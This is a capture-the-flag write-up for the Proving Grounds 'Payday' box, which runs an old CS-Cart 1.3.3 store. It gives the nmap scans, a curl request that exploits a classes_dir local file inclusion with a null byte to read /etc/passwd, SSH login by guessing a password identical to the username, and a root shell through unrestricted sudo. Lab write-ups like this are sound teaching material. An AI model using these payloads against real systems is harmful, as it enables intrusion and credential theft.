# Payday Writeup - Proving Grounds

> Intermediate Linux box running an outdated CS-Cart 1.3.3 store with a classes_dir local file inclusion that leaks /etc/passwd, leading to a guessable SSH password and an unrestricted sudo rule straight to root.

- **URL:** https://hackindex.io/writeups/payday
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** lfi, information-disclosure, brute-force, sudo-misconfiguration, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Payday runs an outdated CS-Cart 1.3.3 storefront whose `classes_dir` parameter is vulnerable to local file inclusion, used to leak `/etc/passwd` and find the user `patrick`, whose SSH password turns out to match their username. Patrick holds unrestricted sudo rights, which hands over a root shell immediately.

## Reconnaissance

### Nmap

Scan all ports, then grab versions on what is open.

```bash
sudo nmap -p- $TARGET_IP
# PORT    STATE SERVICE
# 22/tcp  open  ssh
# 80/tcp  open  http
# 110/tcp open  pop3
# 139/tcp open  netbios-ssn
# 143/tcp open  imap
# 445/tcp open  microsoft-ds
# 993/tcp open  imaps
# 995/tcp open  pop3s
```

```bash
sudo nmap -A -sV -p 22,80,110,139,143,445,993,995 $TARGET_IP
# 22/tcp  open  ssh         OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
# 80/tcp  open  http        Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
# |_http-title: CS-Cart. Powerful PHP shopping cart software
# 110/tcp open  pop3        Dovecot pop3d
# 139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
# 143/tcp open  imap        Dovecot imapd
# 445/tcp open  netbios-ssn Samba smbd 3.0.26a (workgroup: MSHOME)
# 993/tcp open  ssl/imaps?
# 995/tcp open  ssl/pop3s?
# Host script results:
# | smb-os-discovery:
# |   OS: Unix (Samba 3.0.26a)
# |_  Computer name: payday
```

The web server on port 80 is the obvious target, an old PHP shopping cart. Looking up the product in Exploit-DB turns up a few candidates for CS-Cart.

### Web enumeration

Fingerprint the application and fuzz for hidden paths.

```bash
curl -s http://$TARGET_IP/ | head
# <title>CS-Cart. Powerful PHP shopping cart software</title>
# <meta name="description" content="The powerful shopping cart software for web stores and e-commerce...">
```

```bash
curl -s http://$TARGET_IP/install.php | grep -i version
# <p style="font-weight: bold; font-size: 11px;">Version:&nbsp;1.3.3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>
```

```bash
dirb http://$TARGET_IP/
# ==> DIRECTORY: http://$TARGET_IP/classes/
# + http://$TARGET_IP/install (CODE:200|SIZE:7731)
# + http://$TARGET_IP/admin.php (CODE:200|SIZE:9471)
# ==> DIRECTORY: http://$TARGET_IP/skins/
```

CS-Cart 1.3.3 is vulnerable to a `classes_dir` local file inclusion (Exploit-DB 1872), and `/classes/` confirms the app also bundles FCKeditor 2.2, itself a known source of file-upload bugs. The LFI is the more direct route.

## Exploitation

### CS-Cart classes_dir LFI

The `classes_dir` parameter in the PHPMailer wrapper is included without sanitization. A null byte stops PHP from appending `.php`, so it can be pointed straight at `/etc/passwd`.

```bash
curl 'http://$TARGET_IP/classes/phpmailer/class.cs_phpmailer.php?classes_dir=/etc/passwd%00'
# root:x:0:0:root:/root:/bin/bash
# <snip>
# www-data:x:33:33:www-data:/var/www:/bin/sh
# patrick:x:1000:1000:patrick,,,:/home/patrick:/bin/bash
# <br />
# <b>Fatal error</b>:  Class 'PHPMailer' not found
```

A direct remote file inclusion does not work here, but wrapping the path in a `php://filter` base64 read confirms `allow_url_include` is disabled, which rules out RFI and keeps the attack to local files only. The interesting find from the passwd dump is the user `patrick`.

### SSH password guessing

Guess the simplest possible password for the discovered account: the username itself.

```bash
ssh patrick@$TARGET_IP
# patrick@payday's password: patrick
# Linux payday 2.6.22-14-server #1 SMP
# patrick@payday:~$ id
# uid=1000(patrick) gid=1000(patrick) groups=4(adm),20(dialout),24(cdrom),25(floppy),1000(patrick)
```

Shell as `patrick`. Hydra, Medusa and Ncrack all confirm the same username/password pair for anyone who prefers to automate the guess instead.

## Privilege Escalation

### Unrestricted sudo

Check what patrick can run as root.

```bash
sudo -l
# User patrick may run the following commands on this host:
#     (ALL) ALL
```

```bash
sudo su
# root@payday:/home/patrick# id
# uid=0(root) gid=0(root) groups=0(root)
```

Patrick may run any command as root, so `sudo su` is an instant root shell.

Related

## References

- [Exploit-DB 1872](https://www.exploit-db.com/exploits/1872) - CS-Cart 1.3.3 classes_dir remote/local file inclusion.